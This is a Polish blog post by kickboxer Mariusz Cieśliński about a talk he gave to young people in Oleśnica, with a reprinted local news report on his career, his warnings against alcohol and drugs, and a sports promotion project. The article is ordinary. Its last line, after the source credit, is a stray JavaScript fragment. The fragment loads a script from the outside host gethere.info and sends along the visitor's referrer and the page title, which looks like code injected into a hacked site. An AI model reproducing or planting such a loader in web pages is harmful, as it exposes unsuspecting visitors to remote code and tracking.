Spotkanie z młodzieżą….

15.03.2013 / Mariusz Cieśliński

W środę na oleśnickim zamku miałem spotkanie młodymi ludźmi.Była to luźna pogadanka na temat sport-mojej życiowej pasji i zawodu,a także próba zarażenia młodych ludzi zajawką jaką jest właśnie sport bez względu na uprawianą dyscyplinę.Relacja i zdjęcia z gazety:

 

Oleśnica: Trening z mistrzem Cieślińskim

2013-03-14, Aktualizacja: wczoraj 09:48 

W środę w oleśnickim Centrum Kształcenia i Wychowania, młodzież miała okazję spotkać się Mariuszem Cieślińskim, pierwszym Polakiem, który został zawodowym mistrzem świata w boksie tajskim
1/7
– Najpierw to był tylko trening, a potem aż do dziś, styl życia – opowiada o swojej przygodzie ze sportami walki mistrz świata zawodowców Muay Thai, a także savate. Inicjatorem wydarzenia był Wojciech Bartnik, przyjaciel Cieślińskiego, z którym nie raz spotykał się na zgrupowaniach. Fighter z ponad 20-letnim stażem wspominał, że adrenalina i stres są tak samo ważne w sportach walki, jak w każdej innej dyscyplinie. Sponsorzy wymagają wyników, nie ma miejsca na porażkę i bycie miernotą. – Trzeba walczyć ze swoimi słabościami i dolegliwościami – dodaje Cieśliński.Złoty medalista mistrzostw Europy z Kavali, Belgradu, Moskwy i Kijowa przyznaje, że w telewizji nie widzimy tego co dzieje się w kuluarach, w szatniach, na tzw. backastage’u – to tam rozgrywa się najwięcej: presja i siła psychiki.
– W tym sporcie jestem spełniony – podkreśla zawodnik.
Cieślinski bierze udział w ciekawym projekcie Sport Muzyka Pasja, w który zaangażowali się chociażby Artur Szpilka, Marcin Gortat, czy absolutna gwiazda sztuk walki Mamed Chalidov. Ten projekt zakłada promowanie sportu poprzez działania społeczne i muzyczne.
Wojciech Bartnik mówił z kolei młodzieży w zamku, że na sport nigdy nie jest za późno, lecz straconego czasu nigdy się nie nadrobi.

Cieśliński na zawodowych ringach stoczył prawie 300 walk w boksie, w formule fullcontact, kickboxing lowkick, Muay Thai i savate. Zaznaczył również, że wszelkiego rodzaju używki, jak papierosy, alkohol czy marihuana to dla sportowca „strzał w stopę”.

– Trzeba mieć mózg, a nie protezę – dosadnie określa.

Sport umożliwił mu zwiedzenie wielu zakątków świata, dzięki temu zarabia pieniądze i utrzymuje rodzinę. Ma żonę i 10-letnią córeczkę, która już uprawia judo i boksuje. – Dla widzów magnesem jest dwójka wojowników, którzy spotykają się na arenie, by udowodnić, który z nich jest lepszy – zakończył Cieśliński.

Po spotkaniu z młodzieżą, odbył się pokaz i próbka umiejętności kickboksera.
– Naszym następnym gościem będzie Tomasz Kuchar, kierowca rajdowy i wicemistrz Polski 2007 i 2009 – informuje nasz brązowy medalista z Barcelony 92′.Mieszkańcy informują:dodaj artykuł

Źródło materiału: Naszemiasto.pl Bartłomiej Kowalczyk

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;